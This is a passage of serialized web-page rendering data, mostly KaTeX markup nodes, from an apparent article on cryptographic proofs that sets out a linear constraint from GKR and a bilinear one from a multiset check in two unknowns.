,"props":54601,"children":54602},{},[54603,54605,54774,54775,54944],{"type":32,"value":54604},"If we vary ",{"type":26,"tag":83,"props":54606,"children":54608},{"className":54607},[213,4703],[54609],{"type":26,"tag":217,"props":54610,"children":54612},{"className":54611},[225],[54613],{"type":26,"tag":217,"props":54614,"children":54616},{"className":54615,"ariaHidden":231},[230],[54617,54695],{"type":26,"tag":217,"props":54618,"children":54620},{"className":54619},[236],[54621,54625,54682,54686,54691],{"type":26,"tag":217,"props":54622,"children":54624},{"className":54623,"style":4828},[241],[],{"type":26,"tag":217,"props":54626,"children":54628},{"className":54627},[247],[54629,54634],{"type":26,"tag":217,"props":54630,"children":54632},{"className":54631},[247,2152],[54633],{"type":32,"value":2542},{"type":26,"tag":217,"props":54635,"children":54637},{"className":54636},[2160],[54638],{"type":26,"tag":217,"props":54639,"children":54641},{"className":54640},[299,300],[54642,54671],{"type":26,"tag":217,"props":54643,"children":54645},{"className":54644},[305],[54646,54666],{"type":26,"tag":217,"props":54647,"children":54649},{"className":54648,"style":19226},[310],[54650],{"type":26,"tag":217,"props":54651,"children":54652},{"style":2275},[54653,54657],{"type":26,"tag":217,"props":54654,"children":54656},{"className":54655,"style":2182},[320],[],{"type":26,"tag":217,"props":54658,"children":54660},{"className":54659},[2187,2188,2189,2190],[54661],{"type":26,"tag":217,"props":54662,"children":54664},{"className":54663},[247,2190],[54665],{"type":32,"value":1883},{"type":26,"tag":217,"props":54667,"children":54669},{"className":54668},[409],[54670],{"type":32,"value":412},{"type":26,"tag":217,"props":54672,"children":54674},{"className":54673},[305],[54675],{"type":26,"tag":217,"props":54676,"children":54678},{"className":54677,"style":2210},[310],[54679],{"type":26,"tag":217,"props":54680,"children":54681},{},[],{"type":26,"tag":217,"props":54683,"children":54685},{"className":54684,"style":259},[258],[],{"type":26,"tag":217,"props":54687,"children":54689},{"className":54688},[264],[54690],{"type":32,"value":267},{"type":26,"tag":217,"props":54692,"children":54694},{"className":54693,"style":259},[258],[],{"type":26,"tag":217,"props":54696,"children":54698},{"className":54697},[236],[54699,54703,54744,54749,54754,54759,54764,54769],{"type":26,"tag":217,"props":54700,"children":54702},{"className":54701,"style":49604},[241],[],{"type":26,"tag":217,"props":54704,"children":54706},{"className":54705},[247],[54707,54716,54721,54730,54735],{"type":26,"tag":217,"props":54708,"children":54710},{"className":54709},[247,32],[54711],{"type":26,"tag":217,"props":54712,"children":54714},{"className":54713},[247],[54715],{"type":32,"value":19414},{"type":26,"tag":217,"props":54717,"children":54719},{"className":54718,"style":2753},[247],[54720],{"type":32,"value":49012},{"type":26,"tag":217,"props":54722,"children":54724},{"className":54723},[247,32],[54725],{"type":26,"tag":217,"props":54726,"children":54728},{"className":54727},[247],[54729],{"type":32,"value":10235},{"type":26,"tag":217,"props":54731,"children":54733},{"className":54732,"style":2753},[247],[54734],{"type":32,"value":49012},{"type":26,"tag":217,"props":54736,"children":54738},{"className":54737},[247,32],[54739],{"type":26,"tag":217,"props":54740,"children":54742},{"className":54741},[247],[54743],{"type":32,"value":53607},{"type":26,"tag":217,"props":54745,"children":54747},{"className":54746},[288],[54748],{"type":32,"value":7127},{"type":26,"tag":217,"props":54750,"children":54752},{"className":54751},[247],[54753],{"type":32,"value":1883},{"type":26,"tag":217,"props":54755,"children":54757},{"className":54756},[428],[54758],{"type":32,"value":21845},{"type":26,"tag":217,"props":54760,"children":54762},{"className":54761},[288],[54763],{"type":32,"value":7127},{"type":26,"tag":217,"props":54765,"children":54767},{"className":54766},[247],[54768],{"type":32,"value":1883},{"type":26,"tag":217,"props":54770,"children":54772},{"className":54771},[428],[54773],{"type":32,"value":21845},{"type":32,"value":1308},{"type":26,"tag":83,"props":54776,"children":54778},{"className":54777},[213,4703],[54779],{"type":26,"tag":217,"props":54780,"children":54782},{"className":54781},[225],[54783],{"type":26,"tag":217,"props":54784,"children":54786},{"className":54785,"ariaHidden":231},[230],[54787,54865],{"type":26,"tag":217,"props":54788,"children":54790},{"className":54789},[236],[54791,54795,54852,54856,54861],{"type":26,"tag":217,"props":54792,"children":54794},{"className":54793,"style":4828},[241],[],{"type":26,"tag":217,"props":54796,"children":54798},{"className":54797},[247],[54799,54804],{"type":26,"tag":217,"props":54800,"children":54802},{"className":54801},[247,2152],[54803],{"type":32,"value":2542},{"type":26,"tag":217,"props":54805,"children":54807},{"className":54806},[2160],[54808],{"type":26,"tag":217,"props":54809,"children":54811},{"className":54810},[299,300],[54812,54841],{"type":26,"tag":217,"props":54813,"children":54815},{"className":54814},[305],[54816,54836],{"type":26,"tag":217,"props":54817,"children":54819},{"className":54818,"style":19226},[310],[54820],{"type":26,"tag":217,"props":54821,"children":54822},{"style":2275},[54823,54827],{"type":26,"tag":217,"props":54824,"children":54826},{"className":54825,"style":2182},[320],[],{"type":26,"tag":217,"props":54828,"children":54830},{"className":54829},[2187,2188,2189,2190],[54831],{"type":26,"tag":217,"props":54832,"children":54834},{"className":54833},[247,2190],[54835],{"type":32,"value":185},{"type":26,"tag":217,"props":54837,"children":54839},{"className":54838},[409],[54840],{"type":32,"value":412},{"type":26,"tag":217,"props":54842,"children":54844},{"className":54843},[305],[54845],{"type":26,"tag":217,"props":54846,"children":54848},{"className":54847,"style":2210},[310],[54849],{"type":26,"tag":217,"props":54850,"children":54851},{},[],{"type":26,"tag":217,"props":54853,"children":54855},{"className":54854,"style":259},[258],[],{"type":26,"tag":217,"props":54857,"children":54859},{"className":54858},[264],[54860],{"type":32,"value":267},{"type":26,"tag":217,"props":54862,"children":54864},{"className":54863,"style":259},[258],[],{"type":26,"tag":217,"props":54866,"children":54868},{"className":54867},[236],[54869,54873,54914,54919,54924,54929,54934,54939],{"type":26,"tag":217,"props":54870,"children":54872},{"className":54871,"style":49604},[241],[],{"type":26,"tag":217,"props":54874,"children":54876},{"className":54875},[247],[54877,54886,54891,54900,54905],{"type":26,"tag":217,"props":54878,"children":54880},{"className":54879},[247,32],[54881],{"type":26,"tag":217,"props":54882,"children":54884},{"className":54883},[247],[54885],{"type":32,"value":19414},{"type":26,"tag":217,"props":54887,"children":54889},{"className":54888,"style":2753},[247],[54890],{"type":32,"value":49012},{"type":26,"tag":217,"props":54892,"children":54894},{"className":54893},[247,32],[54895],{"type":26,"tag":217,"props":54896,"children":54898},{"className":54897},[247],[54899],{"type":32,"value":10235},{"type":26,"tag":217,"props":54901,"children":54903},{"className":54902,"style":2753},[247],[54904],{"type":32,"value":49012},{"type":26,"tag":217,"props":54906,"children":54908},{"className":54907},[247,32],[54909],{"type":26,"tag":217,"props":54910,"children":54912},{"className":54911},[247],[54913],{"type":32,"value":53607},{"type":26,"tag":217,"props":54915,"children":54917},{"className":54916},[288],[54918],{"type":32,"value":7127},{"type":26,"tag":217,"props":54920,"children":54922},{"className":54921},[247],[54923],{"type":32,"value":1883},{"type":26,"tag":217,"props":54925,"children":54927},{"className":54926},[428],[54928],{"type":32,"value":21845},{"type":26,"tag":217,"props":54930,"children":54932},{"className":54931},[288],[54933],{"type":32,"value":7127},{"type":26,"tag":217,"props":54935,"children":54937},{"className":54936},[247],[54938],{"type":32,"value":185},{"type":26,"tag":217,"props":54940,"children":54942},{"className":54941},[428],[54943],{"type":32,"value":21845},{"type":32,"value":54945}," we get the following constraint:",{"type":26,"tag":39,"props":54947,"children":54948},{},[54949],{"type":26,"tag":83,"props":54950,"children":54952},{"className":54951},[213,4703],[54953],{"type":26,"tag":217,"props":54954,"children":54956},{"className":54955},[225],[54957],{"type":26,"tag":217,"props":54958,"children":54960},{"className":54959,"ariaHidden":231},[230],[54961,55040,55118,55159],{"type":26,"tag":217,"props":54962,"children":54964},{"className":54963},[236],[54965,54970,55027,55031,55036],{"type":26,"tag":217,"props":54966,"children":54969},{"className":54967,"style":54968},[241],"height:0.5945em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":54971,"children":54973},{"className":54972},[247],[54974,54979],{"type":26,"tag":217,"props":54975,"children":54977},{"className":54976},[247,2152],[54978],{"type":32,"value":2542},{"type":26,"tag":217,"props":54980,"children":54982},{"className":54981},[2160],[54983],{"type":26,"tag":217,"props":54984,"children":54986},{"className":54985},[299,300],[54987,55016],{"type":26,"tag":217,"props":54988,"children":54990},{"className":54989},[305],[54991,55011],{"type":26,"tag":217,"props":54992,"children":54994},{"className":54993,"style":19226},[310],[54995],{"type":26,"tag":217,"props":54996,"children":54997},{"style":2275},[54998,55002],{"type":26,"tag":217,"props":54999,"children":55001},{"className":55000,"style":2182},[320],[],{"type":26,"tag":217,"props":55003,"children":55005},{"className":55004},[2187,2188,2189,2190],[55006],{"type":26,"tag":217,"props":55007,"children":55009},{"className":55008},[247,2190],[55010],{"type":32,"value":1883},{"type":26,"tag":217,"props":55012,"children":55014},{"className":55013},[409],[55015],{"type":32,"value":412},{"type":26,"tag":217,"props":55017,"children":55019},{"className":55018},[305],[55020],{"type":26,"tag":217,"props":55021,"children":55023},{"className":55022,"style":2210},[310],[55024],{"type":26,"tag":217,"props":55025,"children":55026},{},[],{"type":26,"tag":217,"props":55028,"children":55030},{"className":55029,"style":336},[258],[],{"type":26,"tag":217,"props":55032,"children":55034},{"className":55033},[341],[55035],{"type":32,"value":344},{"type":26,"tag":217,"props":55037,"children":55039},{"className":55038,"style":336},[258],[],{"type":26,"tag":217,"props":55041,"children":55043},{"className":55042},[236],[55044,55048,55105,55109,55114],{"type":26,"tag":217,"props":55045,"children":55047},{"className":55046,"style":54968},[241],[],{"type":26,"tag":217,"props":55049,"children":55051},{"className":55050},[247],[55052,55057],{"type":26,"tag":217,"props":55053,"children":55055},{"className":55054},[247,2152],[55056],{"type":32,"value":2542},{"type":26,"tag":217,"props":55058,"children":55060},{"className":55059},[2160],[55061],{"type":26,"tag":217,"props":55062,"children":55064},{"className":55063},[299,300],[55065,55094],{"type":26,"tag":217,"props":55066,"children":55068},{"className":55067},[305],[55069,55089],{"type":26,"tag":217,"props":55070,"children":55072},{"className":55071,"style":19226},[310],[55073],{"type":26,"tag":217,"props":55074,"children":55075},{"style":2275},[55076,55080],{"type":26,"tag":217,"props":55077,"children":55079},{"className":55078,"style":2182},[320],[],{"type":26,"tag":217,"props":55081,"children":55083},{"className":55082},[2187,2188,2189,2190],[55084],{"type":26,"tag":217,"props":55085,"children":55087},{"className":55086},[247,2190],[55088],{"type":32,"value":185},{"type":26,"tag":217,"props":55090,"children":55092},{"className":55091},[409],[55093],{"type":32,"value":412},{"type":26,"tag":217,"props":55095,"children":55097},{"className":55096},[305],[55098],{"type":26,"tag":217,"props":55099,"children":55101},{"className":55100,"style":2210},[310],[55102],{"type":26,"tag":217,"props":55103,"children":55104},{},[],{"type":26,"tag":217,"props":55106,"children":55108},{"className":55107,"style":336},[258],[],{"type":26,"tag":217,"props":55110,"children":55112},{"className":55111},[341],[55113],{"type":32,"value":344},{"type":26,"tag":217,"props":55115,"children":55117},{"className":55116,"style":336},[258],[],{"type":26,"tag":217,"props":55119,"children":55121},{"className":55120},[236],[55122,55126,55131,55141,55146,55150,55155],{"type":26,"tag":217,"props":55123,"children":55125},{"className":55124,"style":5514},[241],[],{"type":26,"tag":217,"props":55127,"children":55129},{"className":55128},[288],[55130],{"type":32,"value":1851},{"type":26,"tag":217,"props":55132,"children":55134},{"className":55133},[247,32],[55135],{"type":26,"tag":217,"props":55136,"children":55138},{"className":55137},[247],[55139],{"type":32,"value":55140},"rest of product",{"type":26,"tag":217,"props":55142,"children":55144},{"className":55143},[428],[55145],{"type":32,"value":1889},{"type":26,"tag":217,"props":55147,"children":55149},{"className":55148,"style":259},[258],[],{"type":26,"tag":217,"props":55151,"children":55153},{"className":55152},[264],[55154],{"type":32,"value":267},{"type":26,"tag":217,"props":55156,"children":55158},{"className":55157,"style":259},[258],[],{"type":26,"tag":217,"props":55160,"children":55162},{"className":55161},[236],[55163,55167],{"type":26,"tag":217,"props":55164,"children":55166},{"className":55165,"style":49940},[241],[],{"type":26,"tag":217,"props":55168,"children":55170},{"className":55169},[247,32],[55171],{"type":26,"tag":217,"props":55172,"children":55174},{"className":55173},[247],[55175],{"type":32,"value":33195},{"type":26,"tag":39,"props":55177,"children":55178},{},[55179,55181,55334],{"type":32,"value":55180},"This is bilinear in ",{"type":26,"tag":83,"props":55182,"children":55184},{"className":55183},[213,4703],[55185],{"type":26,"tag":217,"props":55186,"children":55188},{"className":55187},[225],[55189],{"type":26,"tag":217,"props":55190,"children":55192},{"className":55191,"ariaHidden":231},[230],[55193],{"type":26,"tag":217,"props":55194,"children":55196},{"className":55195},[236],[55197,55201,55206,55263,55268,55272,55329],{"type":26,"tag":217,"props":55198,"children":55200},{"className":55199,"style":5514},[241],[],{"type":26,"tag":217,"props":55202,"children":55204},{"className":55203},[288],[55205],{"type":32,"value":1851},{"type":26,"tag":217,"props":55207,"children":55209},{"className":55208},[247],[55210,55215],{"type":26,"tag":217,"props":55211,"children":55213},{"className":55212},[247,2152],[55214],{"type":32,"value":2542},{"type":26,"tag":217,"props":55216,"children":55218},{"className":55217},[2160],[55219],{"type":26,"tag":217,"props":55220,"children":55222},{"className":55221},[299,300],[55223,55252],{"type":26,"tag":217,"props":55224,"children":55226},{"className":55225},[305],[55227,55247],{"type":26,"tag":217,"props":55228,"children":55230},{"className":55229,"style":19226},[310],[55231],{"type":26,"tag":217,"props":55232,"children":55233},{"style":2275},[55234,55238],{"type":26,"tag":217,"props":55235,"children":55237},{"className":55236,"style":2182},[320],[],{"type":26,"tag":217,"props":55239,"children":55241},{"className":55240},[2187,2188,2189,2190],[55242],{"type":26,"tag":217,"props":55243,"children":55245},{"className":55244},[247,2190],[55246],{"type":32,"value":1883},{"type":26,"tag":217,"props":55248,"children":55250},{"className":55249},[409],[55251],{"type":32,"value":412},{"type":26,"tag":217,"props":55253,"children":55255},{"className":55254},[305],[55256],{"type":26,"tag":217,"props":55257,"children":55259},{"className":55258,"style":2210},[310],[55260],{"type":26,"tag":217,"props":55261,"children":55262},{},[],{"type":26,"tag":217,"props":55264,"children":55266},{"className":55265},[1865],[55267],{"type":32,"value":1868},{"type":26,"tag":217,"props":55269,"children":55271},{"className":55270,"style":1872},[258],[],{"type":26,"tag":217,"props":55273,"children":55275},{"className":55274},[247],[55276,55281],{"type":26,"tag":217,"props":55277,"children":55279},{"className":55278},[247,2152],[55280],{"type":32,"value":2542},{"type":26,"tag":217,"props":55282,"children":55284},{"className":55283},[2160],[55285],{"type":26,"tag":217,"props":55286,"children":55288},{"className":55287},[299,300],[55289,55318],{"type":26,"tag":217,"props":55290,"children":55292},{"className":55291},[305],[55293,55313],{"type":26,"tag":217,"props":55294,"children":55296},{"className":55295,"style":19226},[310],[55297],{"type":26,"tag":217,"props":55298,"children":55299},{"style":2275},[55300,55304],{"type":26,"tag":217,"props":55301,"children":55303},{"className":55302,"style":2182},[320],[],{"type":26,"tag":217,"props":55305,"children":55307},{"className":55306},[2187,2188,2189,2190],[55308],{"type":26,"tag":217,"props":55309,"children":55311},{"className":55310},[247,2190],[55312],{"type":32,"value":185},{"type":26,"tag":217,"props":55314,"children":55316},{"className":55315},[409],[55317],{"type":32,"value":412},{"type":26,"tag":217,"props":55319,"children":55321},{"className":55320},[305],[55322],{"type":26,"tag":217,"props":55323,"children":55325},{"className":55324,"style":2210},[310],[55326],{"type":26,"tag":217,"props":55327,"children":55328},{},[],{"type":26,"tag":217,"props":55330,"children":55332},{"className":55331},[428],[55333],{"type":32,"value":1889},{"type":32,"value":180},{"type":26,"tag":39,"props":55336,"children":55337},{},[55338,55340,55493],{"type":32,"value":55339},"We have two unknowns ",{"type":26,"tag":83,"props":55341,"children":55343},{"className":55342},[213,4703],[55344],{"type":26,"tag":217,"props":55345,"children":55347},{"className":55346},[225],[55348],{"type":26,"tag":217,"props":55349,"children":55351},{"className":55350,"ariaHidden":231},[230],[55352],{"type":26,"tag":217,"props":55353,"children":55355},{"className":55354},[236],[55356,55360,55365,55422,55427,55431,55488],{"type":26,"tag":217,"props":55357,"children":55359},{"className":55358,"style":5514},[241],[],{"type":26,"tag":217,"props":55361,"children":55363},{"className":55362},[288],[55364],{"type":32,"value":1851},{"type":26,"tag":217,"props":55366,"children":55368},{"className":55367},[247],[55369,55374],{"type":26,"tag":217,"props":55370,"children":55372},{"className":55371},[247,2152],[55373],{"type":32,"value":2542},{"type":26,"tag":217,"props":55375,"children":55377},{"className":55376},[2160],[55378],{"type":26,"tag":217,"props":55379,"children":55381},{"className":55380},[299,300],[55382,55411],{"type":26,"tag":217,"props":55383,"children":55385},{"className":55384},[305],[55386,55406],{"type":26,"tag":217,"props":55387,"children":55389},{"className":55388,"style":19226},[310],[55390],{"type":26,"tag":217,"props":55391,"children":55392},{"style":2275},[55393,55397],{"type":26,"tag":217,"props":55394,"children":55396},{"className":55395,"style":2182},[320],[],{"type":26,"tag":217,"props":55398,"children":55400},{"className":55399},[2187,2188,2189,2190],[55401],{"type":26,"tag":217,"props":55402,"children":55404},{"className":55403},[247,2190],[55405],{"type":32,"value":1883},{"type":26,"tag":217,"props":55407,"children":55409},{"className":55408},[409],[55410],{"type":32,"value":412},{"type":26,"tag":217,"props":55412,"children":55414},{"className":55413},[305],[55415],{"type":26,"tag":217,"props":55416,"children":55418},{"className":55417,"style":2210},[310],[55419],{"type":26,"tag":217,"props":55420,"children":55421},{},[],{"type":26,"tag":217,"props":55423,"children":55425},{"className":55424},[1865],[55426],{"type":32,"value":1868},{"type":26,"tag":217,"props":55428,"children":55430},{"className":55429,"style":1872},[258],[],{"type":26,"tag":217,"props":55432,"children":55434},{"className":55433},[247],[55435,55440],{"type":26,"tag":217,"props":55436,"children":55438},{"className":55437},[247,2152],[55439],{"type":32,"value":2542},{"type":26,"tag":217,"props":55441,"children":55443},{"className":55442},[2160],[55444],{"type":26,"tag":217,"props":55445,"children":55447},{"className":55446},[299,300],[55448,55477],{"type":26,"tag":217,"props":55449,"children":55451},{"className":55450},[305],[55452,55472],{"type":26,"tag":217,"props":55453,"children":55455},{"className":55454,"style":19226},[310],[55456],{"type":26,"tag":217,"props":55457,"children":55458},{"style":2275},[55459,55463],{"type":26,"tag":217,"props":55460,"children":55462},{"className":55461,"style":2182},[320],[],{"type":26,"tag":217,"props":55464,"children":55466},{"className":55465},[2187,2188,2189,2190],[55467],{"type":26,"tag":217,"props":55468,"children":55470},{"className":55469},[247,2190],[55471],{"type":32,"value":185},{"type":26,"tag":217,"props":55473,"children":55475},{"className":55474},[409],[55476],{"type":32,"value":412},{"type":26,"tag":217,"props":55478,"children":55480},{"className":55479},[305],[55481],{"type":26,"tag":217,"props":55482,"children":55484},{"className":55483,"style":2210},[310],[55485],{"type":26,"tag":217,"props":55486,"children":55487},{},[],{"type":26,"tag":217,"props":55489,"children":55491},{"className":55490},[428],[55492],{"type":32,"value":1889},{"type":32,"value":55494}," and two equations, one linear and one bilinear:",{"type":26,"tag":6712,"props":55496,"children":55497},{},[55498,55825],{"type":26,"tag":2044,"props":55499,"children":55500},{},[55501,55503],{"type":32,"value":55502},"Linear (from GKR): ",{"type":26,"tag":83,"props":55504,"children":55506},{"className":55505},[213,4703],[55507],{"type":26,"tag":217,"props":55508,"children":55510},{"className":55509},[225],[55511],{"type":26,"tag":217,"props":55512,"children":55514},{"className":55513,"ariaHidden":231},[230],[55515,55651,55786,55812],{"type":26,"tag":217,"props":55516,"children":55518},{"className":55517},[236],[55519,55524,55581,55638,55642,55647],{"type":26,"tag":217,"props":55520,"children":55523},{"className":55521,"style":55522},[241],"height:0.7333em;vertical-align:-0.15em;",[],{"type":26,"tag":217,"props":55525,"children":55527},{"className":55526},[247],[55528,55533],{"type":26,"tag":217,"props":55529,"children":55531},{"className":55530},[247,2152],[55532],{"type":32,"value":163},{"type":26,"tag":217,"props":55534,"children":55536},{"className":55535},[2160],[55537],{"type":26,"tag":217,"props":55538,"children":55540},{"className":55539},[299,300],[55541,55570],{"type":26,"tag":217,"props":55542,"children":55544},{"className":55543},[305],[55545,55565],{"type":26,"tag":217,"props":55546,"children":55548},{"className":55547,"style":19226},[310],[55549],{"type":26,"tag":217,"props":55550,"children":55551},{"style":2275},[55552,55556],{"type":26,"tag":217,"props":55553,"children":55555},{"className":55554,"style":2182},[320],[],{"type":26,"tag":217,"props":55557,"children":55559},{"className":55558},[2187,2188,2189,2190],[55560],{"type":26,"tag":217,"props":55561,"children":55563},{"className":55562},[247,2190],[55564],{"type":32,"value":1883},{"type":26,"tag":217,"props":55566,"children":55568},{"className":55567},[409],[55569],{"type":32,"value":412},{"type":26,"tag":217,"props":55571,"children":55573},{"className":55572},[305],[55574],{"type":26,"tag":217,"props":55575,"children":55577},{"className":55576,"style":2210},[310],[55578],{"type":26,"tag":217,"props":55579,"children":55580},{},[],{"type":26,"tag":217,"props":55582,"children":55584},{"className":55583},[247],[55585,55590],{"type":26,"tag":217,"props":55586,"children":55588},{"className":55587},[247,2152],[55589],{"type":32,"value":2542},{"type":26,"tag":217,"props":55591,"children":55593},{"className":55592},[2160],[55594],{"type":26,"tag":217,"props":55595,"children":55597},{"className":55596},[299,300],[55598,55627],{"type":26,"tag":217,"props":55599,"children":55601},{"className":55600},[305],[55602,55622],{"type":26,"tag":217,"props":55603,"children":55605},{"className":55604,"style":19226},[310],[55606],{"type":26,"tag":217,"props":55607,"children":55608},{"style":2275},[55609,55613],{"type":26,"tag":217,"props":55610,"children":55612},{"className":55611,"style":2182},[320],[],{"type":26,"tag":217,"props":55614,"children":55616},{"className":55615},[2187,2188,2189,2190],[55617],{"type":26,"tag":217,"props":55618,"children":55620},{"className":55619},[247,2190],[55621],{"type":32,"value":1883},{"type":26,"tag":217,"props":55623,"children":55625},{"className":55624},[409],[55626],{"type":32,"value":412},{"type":26,"tag":217,"props":55628,"children":55630},{"className":55629},[305],[55631],{"type":26,"tag":217,"props":55632,"children":55634},{"className":55633,"style":2210},[310],[55635],{"type":26,"tag":217,"props":55636,"children":55637},{},[],{"type":26,"tag":217,"props":55639,"children":55641},{"className":55640,"style":336},[258],[],{"type":26,"tag":217,"props":55643,"children":55645},{"className":55644},[341],[55646],{"type":32,"value":3540},{"type":26,"tag":217,"props":55648,"children":55650},{"className":55649,"style":336},[258],[],{"type":26,"tag":217,"props":55652,"children":55654},{"className":55653},[236],[55655,55659,55716,55773,55777,55782],{"type":26,"tag":217,"props":55656,"children":55658},{"className":55657,"style":55522},[241],[],{"type":26,"tag":217,"props":55660,"children":55662},{"className":55661},[247],[55663,55668],{"type":26,"tag":217,"props":55664,"children":55666},{"className":55665},[247,2152],[55667],{"type":32,"value":163},{"type":26,"tag":217,"props":55669,"children":55671},{"className":55670},[2160],[55672],{"type":26,"tag":217,"props":55673,"children":55675},{"className":55674},[299,300],[55676,55705],{"type":26,"tag":217,"props":55677,"children":55679},{"className":55678},[305],[55680,55700],{"type":26,"tag":217,"props":55681,"children":55683},{"className":55682,"style":19226},[310],[55684],{"type":26,"tag":217,"props":55685,"children":55686},{"style":2275},[55687,55691],{"type":26,"tag":217,"props":55688,"children":55690},{"className":55689,"style":2182},[320],[],{"type":26,"tag":217,"props":55692,"children":55694},{"className":55693},[2187,2188,2189,2190],[55695],{"type":26,"tag":217,"props":55696,"children":55698},{"className":55697},[247,2190],[55699],{"type":32,"value":185},{"type":26,"tag":217,"props":55701,"children":55703},{"className":55702},[409],[55704],{"type":32,"value":412},{"type":26,"tag":217,"props":55706,"children":55708},{"className":55707},[305],[55709],{"type":26,"tag":217,"props":55710,"children":55712},{"className":55711,"style":2210},[310],[55713],{"type":26,"tag":217,"props":55714,"children":55715},{},[],{"type":26,"tag":217,"props":55717,"children":55719},{"className":55718},[247],[55720,55725],{"type":26,"tag":217,"props":55721,"children":55723},{"className":55722},[247,2152],[55724],{"type":32,"value":2542},{"type":26,"tag":217,"props":55726,"children":55728},{"className":55727},[2160],[55729],{"type":26,"tag":217,"props":55730,"children":55732},{"className":55731},[299,300],[55733,55762],{"type":26,"tag":217,"props":55734,"children":55736},{"className":55735},[305],[55737,55757],{"type":26,"tag":217,"props":55738,"children":55740},{"className":55739,"style":19226},[310],[55741],{"type":26,"tag":217,"props":55742,"children":55743},{"style":2275},[55744,55748],{"type":26,"tag":217,"props":55745,"children":55747},{"className":55746,"style":2182},[320],[],{"type":26,"tag":217,"props":55749,"children":55751},{"className":55750},[2187,2188,2189,2190],[55752],{"type":26,"tag":217,"props":55753,"children":55755},{"className":55754},[247,2190],[55756],{"type":32,"value":185},{"type":26,"tag":217,"props":55758,"children":55760},{"className":55759},[409],[55761],{"type":32,"value":412},{"type":26,"tag":217,"props":55763,"children":55765},{"className":55764},[305],[55766],{"type":26,"tag":217,"props":55767,"children":55769},{"className":55768,"style":2210},[310],[55770],{"type":26,"tag":217,"props":55771,"children":55772},{},[],{"type":26,"tag":217,"props":55774,"children":55776},{"className":55775,"style":336},[258],[],{"type":26,"tag":217,"props":55778,"children":55780},{"className":55779},[341],[55781],{"type":32,"value":3540},{"type":26,"tag":217,"props":55783,"children":55785},{"className":55784,"style":336},[258],[],{"type":26,"tag":217,"props":55787,"children":55789},{"className":55788},[236],[55790,55794,55799,55803,55808],{"type":26,"tag":217,"props":55791,"children":55793},{"className":55792,"style":6316},[241],[],{"type":26,"tag":217,"props":55795,"children":55797},{"className":55796},[247,2152],[55798],{"type":32,"value":2255},{"type":26,"tag":217,"props":55800,"children":55802},{"className":55801,"style":259},[258],[],{"type":26,"tag":217,"props":55804,"children":55806},{"className":55805},[264],[55807],{"type":32,"value":267},{"type":26,"tag":217,"props":55809,"children":55811},{"className":55810,"style":259},[258],[],{"type":26,"tag":217,"props":55813,"children":55815},{"className":55814},[236],[55816,55820],{"type":26,"tag":217,"props":55817,"children":55819},{"className":55818,"style":5294},[241],[],{"type":26,"tag":217,"props":55821,"children":55823},{"className":55822},[247],[55824],{"type":32,"value":1883},{"type":26,"tag":2044,"props":55826,"children":55827},{},[55828,55830],{"type":32,"value":55829},"Bilinear (from multiset): ",{"type":26,"tag":83,"props":55831,"children":55833},{"className":55832},[213,4703],[55834],{"type":26,"tag":217,"props":55835,"children":55837},{"className":55836},[225],[55838],{"type":26,"tag":217,"props":55839,"children":55841},{"className":55840,"ariaHidden":231},[230],[55842,55868,55946,56024,56050],{"type":26,"tag":217,"props":55843,"children":55845},{"className":55844},[236],[55846,55850,55855,55859,55864],{"type":26,"tag":217,"props":55847,"children":55849},{"className":55848,"style":43002},[241],[],{"type":26,"tag":217,"props":55851,"children":55853},{"className":55852,"style":49390},[247,2152],[55854],{"type":32,"value":49393},{"type":26,"tag":217,"props":55856,"children":55858},{"className":55857,"style":336},[258],[],{"type":26,"tag":217,"props":55860,"children":55862},{"className":55861},[341],[55863],{"type":32,"value":344},{"type":26,"tag":217,"props":55865,"children":55867},{"className":55866,"style":336},[258],[],{"type":26,"tag":217,"props":55869,"children":55871},{"className":55870},[236],[55872,55876,55933,55937,55942],{"type":26,"tag":217,"props":55873,"children":55875},{"className":55874,"style":54968},[241],[],{"type":26,"tag":217,"props":55877,"children":55879},{"className":55878},[247],[55880,55885],{"type":26,"tag":217,"props":55881,"children":55883},{"className":55882},[247,2152],[55884],{"type":32,"value":2542},{"type":26,"tag":217,"props":55886,"children":55888},{"className":55887},[2160],[55889],{"type":26,"tag":217,"props":55890,"children":55892},{"className":55891},[299,300],[55893,55922],{"type":26,"tag":217,"props":55894,"children":55896},{"className":55895},[305],[55897,55917],{"type":26,"tag":217,"props":55898,"children":55900},{"className":55899,"style":19226},[310],[55901],{"type":26,"tag":217,"props":55902,"children":55903},{"style":2275},[55904,55908],{"type":26,"tag":217,"props":55905,"children":55907},{"className":55906,"style":2182},[320],[],{"type":26,"tag":217,"props":55909,"children":55911},{"className":55910},[2187,2188,2189,2190],[55912],{"type":26,"tag":217,"props":55913,"children":55915},{"className":55914},[247,2190],[55916],{"type":32,"value":1883},{"type":26,"tag":217,"props":55918,"children":55920},{"className":55919},[409],[55921],{"type":32,"value":412},{"type":26,"tag":217,"props":55923,"children":55925},{"className":55924},[305],[55926],{"type":26,"tag":217,"props":55927,"children":55929},{"className":55928,"style":2210},[310],[55930],{"type":26,"tag":217,"props":55931,"children":55932},{},[],{"type":26,"tag":217,"props":55934,"children":55936},{"className":55935,"style":336},[258],[],{"type":26,"tag":217,"props":55938,"children":55940},{"className":55939},[341],[55941],{"type":32,"value":344},{"type":26,"tag":217,"props":55943,"children":55945},{"className":55944,"style":336},[258],[],{"type":26,"tag":217,"props":55947,"children":55949},{"className":55948},[236],[55950,55954,56011,56015,56020],{"type":26,"tag":217,"props":55951,"children":55953},{"className":55952,"style":55522},[241],[],{"type":26,"tag":217,"props":55955,"children":55957},{"className":55956},[247],[55958,55963],{"type":26,"tag":217,"props":55959,"children":55961},{"className":55960},[247,2152],[55962],{"type":32,"value":2542},{"type":26,"tag":217,"props":55964,"children":55966},{"className":55965},[2160],[55967],{"type":26,"tag":217,"props":55968,"children":55970},{"className":55969},[299,300],[55971,56000],{"type":26,"tag":217,"props":55972,"children":55974},{"className":55973},[305],[55975,55995],{"type":26,"tag":217,"props":55976,"children":55978},{"className":55977,"style":19226},[310],[55979],{"type":26,"tag":217,"props":55980,"children":55981},{"style":2275},[55982,55986],{"type":26,"tag":217,"props":55983,"children":55985},{"className":55984,"style":2182},[320],[],{"type":26,"tag":217,"props":55987,"children":55989},{"className":55988},[2187,2188,2189,2190],[55990],{"type":26,"tag":217,"props":55991,"children":55993},{"className":55992},[247,2190],[55994],{"type":32,"value":185},{"type":26,"tag":217,"props":55996,"children":55998},{"className":55997},[409],[55999],{"type":32,"value":412},{"type":26,"tag":217,"props":56001,"children":56003},{"className":56002},[305],[56004],{"type":26,"tag":217,"props":56005,"children":56007},{"className":56006,"style":2210},[310],[56008],{"type":26,"tag":217,"props":56009,"children":56010},{},[],{"type":26,"